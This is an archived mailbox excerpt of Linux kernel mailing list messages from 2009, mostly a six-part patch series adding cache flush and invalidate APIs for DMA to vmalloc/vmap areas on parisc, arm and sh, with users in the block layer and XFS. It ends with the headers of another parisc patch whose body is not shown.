works correctly.  I verified it on parisc by making my system print out
the virtual addresses it was invalidating and matching up with the ones
that were initially flushed, but since invalidate is a nop on parisc, I
can't verify live that the issue is fixed.  I'd really appreciate someone
from arm and sh testing here.

Thanks,

James

---

James Bottomley (6):
  mm: add coherence API for DMA to vmalloc/vmap areas
  parisc: add mm API for DMA to vmalloc/vmap areas
  arm: add mm API for DMA to vmalloc/vmap areas
  sh: add mm API for DMA to vmalloc/vmap areas
  block: permit I/O to vmalloc/vmap kernel pages
  xfs: fix xfs to work with Virtually Indexed architectures

 arch/arm/include/asm/cacheflush.h    |   10 ++++++++++
 arch/parisc/include/asm/cacheflush.h |    8 ++++++++
 arch/sh/include/asm/cacheflush.h     |    8 ++++++++
 fs/bio.c                             |   20 ++++++++++++++++++--
 fs/xfs/linux-2.6/xfs_buf.c           |   20 ++++++++++++++++++++
 include/linux/highmem.h              |    6 ++++++
 6 files changed, 70 insertions(+), 2 deletions(-)

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCH 1/6] mm: add coherence API for DMA to vmalloc/vmap areas
Date: Tue, 17 Nov 2009 11:03:47 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <1258477432-2513-2-git-send-email-James.Bottomley@suse.de>
References: <1258477432-2513-1-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1258477451 10900 80.91.229.12 (17 Nov 2009 17:04:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Nov 2009 17:04:11 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 17 18:04:03 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NARTG-00060o-LG
	for glpp-linux-parisc@lo.gmane.org; Tue, 17 Nov 2009 18:04:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754582AbZKQRDz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Nov 2009 12:03:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754610AbZKQRDz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 17 Nov 2009 12:03:55 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:45753 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754367AbZKQRDz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Nov 2009 12:03:55 -0500
Original-Received: from relay2.suse.de (relay-ext.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id CD73A8672B;
	Tue, 17 Nov 2009 18:04:00 +0100 (CET)
X-Mailer: git-send-email 1.6.5
In-Reply-To: <1258477432-2513-1-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2334 gmane.linux.kernel.cross-arch:4643
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2334>

On Virtually Indexed architectures (which don't do automatic alias
resolution in their caches), we have to flush via the correct
virtual address to prepare pages for DMA.  On some architectures
(like arm) we cannot prevent the CPU from doing data movein along
the alias (and thus giving stale read data), so we not only have to
introduce a flush API to push dirty cache lines out, but also an invalidate
API to kill inconsistent cache lines that may have moved in before
DMA changed the data

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 include/linux/highmem.h |    6 ++++++
 1 files changed, 6 insertions(+), 0 deletions(-)

diff --git a/include/linux/highmem.h b/include/linux/highmem.h
index 211ff44..eb99c70 100644
--- a/include/linux/highmem.h
+++ b/include/linux/highmem.h
@@ -17,6 +17,12 @@ static inline void flush_anon_page(struct vm_area_struct *vma, struct page *page
 static inline void flush_kernel_dcache_page(struct page *page)
 {
 }
+static inline void flush_kernel_dcache_addr(void *vaddr)
+{
+}
+static inline void invalidate_kernel_dcache_addr(void *vaddr)
+{
+}
 #endif
 
 #include <asm/kmap_types.h>
-- 
1.6.3.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 2/6] parisc: add mm API for DMA to vmalloc/vmap areas
Date: Tue, 17 Nov 2009 11:03:48 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <1258477432-2513-3-git-send-email-James.Bottomley@suse.de>
References: <1258477432-2513-1-git-send-email-James.Bottomley@suse.de>
 <1258477432-2513-2-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1258477454 10914 80.91.229.12 (17 Nov 2009 17:04:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Nov 2009 17:04:14 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Tue Nov 17 18:04:07 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NARTJ-000637-P7
	for glka-linux-arch@lo.gmane.org; Tue, 17 Nov 2009 18:04:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754645AbZKQRD5 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 17 Nov 2009 12:03:57 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752962AbZKQRD5
	(ORCPT <rfc822;linux-arch-outgoing>);
	Tue, 17 Nov 2009 12:03:57 -0500
Original-Received: from cantor.suse.de ([195.135.220.2]:47465 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754645AbZKQRD5 (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Tue, 17 Nov 2009 12:03:57 -0500
Original-Received: from relay1.suse.de (relay-ext.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id CA3AF93A00;
	Tue, 17 Nov 2009 18:04:02 +0100 (CET)
X-Mailer: git-send-email 1.6.5
In-Reply-To: <1258477432-2513-2-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4644 gmane.linux.ports.parisc:2335
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2335>

We already have an API to flush a kernel page along an alias
address, so use it.  The TLB purge prevents the CPU from doing
speculative moveins on the flushed address, so we don't need to
implement and invalidate.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 arch/parisc/include/asm/cacheflush.h |    8 ++++++++
 1 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 7243951..2536a00 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -90,6 +90,14 @@ static inline void flush_kernel_dcache_page(struct page *page)
 {
 	flush_kernel_dcache_page_addr(page_address(page));
 }
+static inline void flush_kernel_dcache_addr(void *addr)
+{
+	flush_kernel_dcache_page_addr(addr);
+}
+static inline void invalidate_kernel_dcache_addr(void *addr)
+{
+	/* nop .. the flush prevents move in until the page is touched */
+}
 
 #ifdef CONFIG_DEBUG_RODATA
 void mark_rodata_ro(void);
-- 
1.6.3.3


From - Thu Nov 08 21:05:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCH 3/6] arm: add mm API for DMA to vmalloc/vmap areas
Date: Tue, 17 Nov 2009 11:03:49 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <1258477432-2513-4-git-send-email-James.Bottomley@suse.de>
References: <1258477432-2513-1-git-send-email-James.Bottomley@suse.de>
 <1258477432-2513-2-git-send-email-James.Bottomley@suse.de>
 <1258477432-2513-3-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1258477455 10916 80.91.229.12 (17 Nov 2009 17:04:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Nov 2009 17:04:15 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 17 18:04:07 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NARTL-00064u-0C
	for glpp-linux-parisc@lo.gmane.org; Tue, 17 Nov 2009 18:04:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752962AbZKQRD7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Nov 2009 12:03:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755549AbZKQRD7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 17 Nov 2009 12:03:59 -0500
Original-Received: from cantor.suse.de ([195.135.220.2]:47467 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754610AbZKQRD6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Nov 2009 12:03:58 -0500
Original-Received: from relay2.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 98A198FEA2;
	Tue, 17 Nov 2009 18:04:04 +0100 (CET)
X-Mailer: git-send-email 1.6.5
In-Reply-To: <1258477432-2513-3-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2336 gmane.linux.kernel.cross-arch:4645
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2336>

ARM cannot prevent cache movein, so this patch implements both the
flush and invalidate pieces of the API.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 arch/arm/include/asm/cacheflush.h |   10 ++++++++++
 1 files changed, 10 insertions(+), 0 deletions(-)

diff --git a/arch/arm/include/asm/cacheflush.h b/arch/arm/include/asm/cacheflush.h
index 1a711ea..1104ee9 100644
--- a/arch/arm/include/asm/cacheflush.h
+++ b/arch/arm/include/asm/cacheflush.h
@@ -436,6 +436,16 @@ static inline void flush_kernel_dcache_page(struct page *page)
 	if ((cache_is_vivt() || cache_is_vipt_aliasing()) && !PageHighMem(page))
 		__cpuc_flush_dcache_page(page_address(page));
 }
+static inline void flush_kernel_dcache_addr(void *addr)
+{
+	if ((cache_is_vivt() || cache_is_vipt_aliasing()))
+		__cpuc_flush_dcache_page(addr);
+}
+static inline void invalidate_kernel_dcache_addr(void *addr)
+{
+	if ((cache_is_vivt() || cache_is_vipt_aliasing()))
+		__cpuc_flush_dcache_page(addr);
+}
 
 #define flush_dcache_mmap_lock(mapping) \
 	spin_lock_irq(&(mapping)->tree_lock)
-- 
1.6.3.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCH 4/6] sh: add mm API for DMA to vmalloc/vmap areas
Date: Tue, 17 Nov 2009 11:03:50 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <1258477432-2513-5-git-send-email-James.Bottomley@suse.de>
References: <1258477432-2513-1-git-send-email-James.Bottomley@suse.de>
 <1258477432-2513-2-git-send-email-James.Bottomley@suse.de>
 <1258477432-2513-3-git-send-email-James.Bottomley@suse.de>
 <1258477432-2513-4-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1258477457 10924 80.91.229.12 (17 Nov 2009 17:04:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Nov 2009 17:04:17 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 17 18:04:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NARTM-00064u-7H
	for glpp-linux-parisc@lo.gmane.org; Tue, 17 Nov 2009 18:04:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755593AbZKQREB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Nov 2009 12:04:01 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755576AbZKQREB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 17 Nov 2009 12:04:01 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:45759 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755568AbZKQREA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Nov 2009 12:04:00 -0500
Original-Received: from relay1.suse.de (mail2.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id 56FFC5FC9F;
	Tue, 17 Nov 2009 18:04:06 +0100 (CET)
X-Mailer: git-send-email 1.6.5
In-Reply-To: <1258477432-2513-4-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2337 gmane.linux.kernel.cross-arch:4646
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2337>

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 arch/sh/include/asm/cacheflush.h |    8 ++++++++
 1 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/arch/sh/include/asm/cacheflush.h b/arch/sh/include/asm/cacheflush.h
index 4c5462d..3cb8824 100644
--- a/arch/sh/include/asm/cacheflush.h
+++ b/arch/sh/include/asm/cacheflush.h
@@ -48,6 +48,14 @@ static inline void flush_kernel_dcache_page(struct page *page)
 {
 	flush_dcache_page(page);
 }
+static inline void flush_kernel_dcache_addr(void *addr)
+{
+	__flush_wback_region(addr, PAGE_SIZE);
+}
+static inline void invalidate_kernel_dcache_addr(void *addr)
+{
+	__flush_invalidate_region(addr, PAGE_SIZE);
+}
 
 #if defined(CONFIG_CPU_SH4) && !defined(CONFIG_CACHE_OFF)
 extern void copy_to_user_page(struct vm_area_struct *vma,
-- 
1.6.3.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 5/6] block: permit I/O to vmalloc/vmap kernel pages
Date: Tue, 17 Nov 2009 11:03:51 -0600
Lines: 60
Approved: news@gmane.org
Message-ID: <1258477432-2513-6-git-send-email-James.Bottomley@suse.de>
References: <1258477432-2513-1-git-send-email-James.Bottomley@suse.de>
 <1258477432-2513-2-git-send-email-James.Bottomley@suse.de>
 <1258477432-2513-3-git-send-email-James.Bottomley@suse.de>
 <1258477432-2513-4-git-send-email-James.Bottomley@suse.de>
 <1258477432-2513-5-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1258477461 10935 80.91.229.12 (17 Nov 2009 17:04:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Nov 2009 17:04:21 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Tue Nov 17 18:04:13 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NARTR-00065Z-1o
	for glka-linux-arch@lo.gmane.org; Tue, 17 Nov 2009 18:04:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755616AbZKQREF (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 17 Nov 2009 12:04:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755576AbZKQREF
	(ORCPT <rfc822;linux-arch-outgoing>);
	Tue, 17 Nov 2009 12:04:05 -0500
Original-Received: from cantor.suse.de ([195.135.220.2]:47472 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755571AbZKQREC (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Tue, 17 Nov 2009 12:04:02 -0500
Original-Received: from relay2.suse.de (relay-ext.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 294308FEA2;
	Tue, 17 Nov 2009 18:04:08 +0100 (CET)
X-Mailer: git-send-email 1.6.5
In-Reply-To: <1258477432-2513-5-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4647 gmane.linux.ports.parisc:2338
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2338>

This updates bio_map_kern() to check for pages in the vmalloc address
range and call the new kernel flushing APIs if the are.  This should
allow any kernel user to pass a vmalloc/vmap area to block.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 fs/bio.c |   20 ++++++++++++++++++--
 1 files changed, 18 insertions(+), 2 deletions(-)

diff --git a/fs/bio.c b/fs/bio.c
index 7673800..0cf7b79 100644
--- a/fs/bio.c
+++ b/fs/bio.c
@@ -1120,6 +1120,14 @@ void bio_unmap_user(struct bio *bio)
 
 static void bio_map_kern_endio(struct bio *bio, int err)
 {
+	void *kaddr = bio->bi_private;
+
+	if (is_vmalloc_addr(kaddr)) {
+		int i;
+
+		for (i = 0; i < bio->bi_vcnt; i++)
+			invalidate_kernel_dcache_addr(kaddr + i * PAGE_SIZE);
+	}
 	bio_put(bio);
 }
 
@@ -1138,9 +1146,12 @@ static struct bio *__bio_map_kern(struct request_queue *q, void *data,
 	if (!bio)
 		return ERR_PTR(-ENOMEM);
 
+	bio->bi_private = data;
+
 	offset = offset_in_page(kaddr);
 	for (i = 0; i < nr_pages; i++) {
 		unsigned int bytes = PAGE_SIZE - offset;
+		struct page *page;
 
 		if (len <= 0)
 			break;
@@ -1148,8 +1159,13 @@ static struct bio *__bio_map_kern(struct request_queue *q, void *data,
 		if (bytes > len)
 			bytes = len;
 
-		if (bio_add_pc_page(q, bio, virt_to_page(data), bytes,
-				    offset) < bytes)
+		if (is_vmalloc_addr(data)) {
+			flush_kernel_dcache_addr(data);
+			page = vmalloc_to_page(data);
+		} else
+			page = virt_to_page(data);
+
+		if (bio_add_pc_page(q, bio, page, bytes, offset) < bytes)
 			break;
 
 		data += bytes;
-- 
1.6.3.3


From - Thu Nov 08 21:05:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 6/6] xfs: fix xfs to work with Virtually Indexed architectures
Date: Tue, 17 Nov 2009 11:03:52 -0600
Lines: 64
Approved: news@gmane.org
Message-ID: <1258477432-2513-7-git-send-email-James.Bottomley@suse.de>
References: <1258477432-2513-1-git-send-email-James.Bottomley@suse.de>
 <1258477432-2513-2-git-send-email-James.Bottomley@suse.de>
 <1258477432-2513-3-git-send-email-James.Bottomley@suse.de>
 <1258477432-2513-4-git-send-email-James.Bottomley@suse.de>
 <1258477432-2513-5-git-send-email-James.Bottomley@suse.de>
 <1258477432-2513-6-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1258477463 10952 80.91.229.12 (17 Nov 2009 17:04:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Nov 2009 17:04:23 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Tue Nov 17 18:04:16 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NARTS-00065Z-9H
	for glka-linux-arch@lo.gmane.org; Tue, 17 Nov 2009 18:04:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755596AbZKQREG (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 17 Nov 2009 12:04:06 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755625AbZKQREG
	(ORCPT <rfc822;linux-arch-outgoing>);
	Tue, 17 Nov 2009 12:04:06 -0500
Original-Received: from cantor.suse.de ([195.135.220.2]:47475 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755594AbZKQREE (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Tue, 17 Nov 2009 12:04:04 -0500
Original-Received: from relay1.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 1879193A00;
	Tue, 17 Nov 2009 18:04:10 +0100 (CET)
X-Mailer: git-send-email 1.6.5
In-Reply-To: <1258477432-2513-6-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4648 gmane.linux.ports.parisc:2339
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2339>

xfs_buf.c includes what is essentially a hand rolled version of
blk_rq_map_kern().  In order to work properly with the vmalloc buffers
that xfs uses, this hand rolled routine must also implement the flushing
API for vmap/vmalloc areas.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 fs/xfs/linux-2.6/xfs_buf.c |   20 ++++++++++++++++++++
 1 files changed, 20 insertions(+), 0 deletions(-)

diff --git a/fs/xfs/linux-2.6/xfs_buf.c b/fs/xfs/linux-2.6/xfs_buf.c
index 965df12..320a6e4 100644
--- a/fs/xfs/linux-2.6/xfs_buf.c
+++ b/fs/xfs/linux-2.6/xfs_buf.c
@@ -1132,12 +1132,26 @@ xfs_buf_bio_end_io(
 	xfs_buf_t		*bp = (xfs_buf_t *)bio->bi_private;
 	unsigned int		blocksize = bp->b_target->bt_bsize;
 	struct bio_vec		*bvec = bio->bi_io_vec + bio->bi_vcnt - 1;
+	void			*vaddr = NULL;
+	int			i;
 
 	xfs_buf_ioerror(bp, -error);
 
+	if (is_vmalloc_addr(bp->b_addr))
+		for (i = 0; i < bp->b_page_count; i++)
+			if (bvec->bv_page == bp->b_pages[i]) {
+				vaddr = bp->b_addr + i*PAGE_SIZE;
+				break;
+			}
+
 	do {
 		struct page	*page = bvec->bv_page;
 
+		if (is_vmalloc_addr(bp->b_addr)) {
+			invalidate_kernel_dcache_addr(vaddr);
+			vaddr -= PAGE_SIZE;
+		}
+
 		ASSERT(!PagePrivate(page));
 		if (unlikely(bp->b_error)) {
 			if (bp->b_flags & XBF_READ)
@@ -1202,6 +1216,9 @@ _xfs_buf_ioapply(
 		bio->bi_end_io = xfs_buf_bio_end_io;
 		bio->bi_private = bp;
 
+		if (is_vmalloc_addr(bp->b_addr))
+			flush_kernel_dcache_addr(bp->b_addr);
+
 		bio_add_page(bio, bp->b_pages[0], PAGE_CACHE_SIZE, 0);
 		size = 0;
 
@@ -1228,6 +1245,9 @@ next_chunk:
 		if (nbytes > size)
 			nbytes = size;
 
+		if (is_vmalloc_addr(bp->b_addr))
+			flush_kernel_dcache_addr(bp->b_addr + PAGE_SIZE*map_i);
+
 		rbytes = bio_add_page(bio, bp->b_pages[map_i], nbytes, offset);
 		if (rbytes < nbytes)
 			break;
-- 
1.6.3.3


From - Thu Nov 08 21:05:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [patch 07/13] parisc: Fixup last users of irq_chip->typename
Date: Tue, 17 Nov 2009 22:50:59 -0000
Lines: 109
Approved: news@gmane.org
Message-ID: <20091117224916.604120310@linutronix.de>
References: <20091117224852.846805939@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1258498320 20301 80.91.229.12 (17 Nov 2009 22:52:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Nov 2009 22:52:00 +0000 (UTC)
Cc: Ingo Molnar <mingo@elte.hu>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org
To: LKML <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 17 23:51:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NAWtm-0003Im-No
	for glpp-linux-parisc@lo.gmane.org; Tue, 17 Nov 2009 23:51:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756635AbZKQWvR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Nov 2009 17:51:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756632AbZKQWvP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 17 Nov 2009 17:51:15 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:41546 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756623AbZKQWvN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Nov 2009 17:51:13 -0500
Original-Received: from localhost.localdomain (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id nAHMow2S019202;
	Tue, 17 Nov 2009 23:50:59 +0100
User-Agent: quilt/0.47-1
Content-Disposition: inline; filename=parisc-replace-obsolete-typename.patch
X-Virus-Scanned: clamav-milter 0.95.1 at www.tglx.de
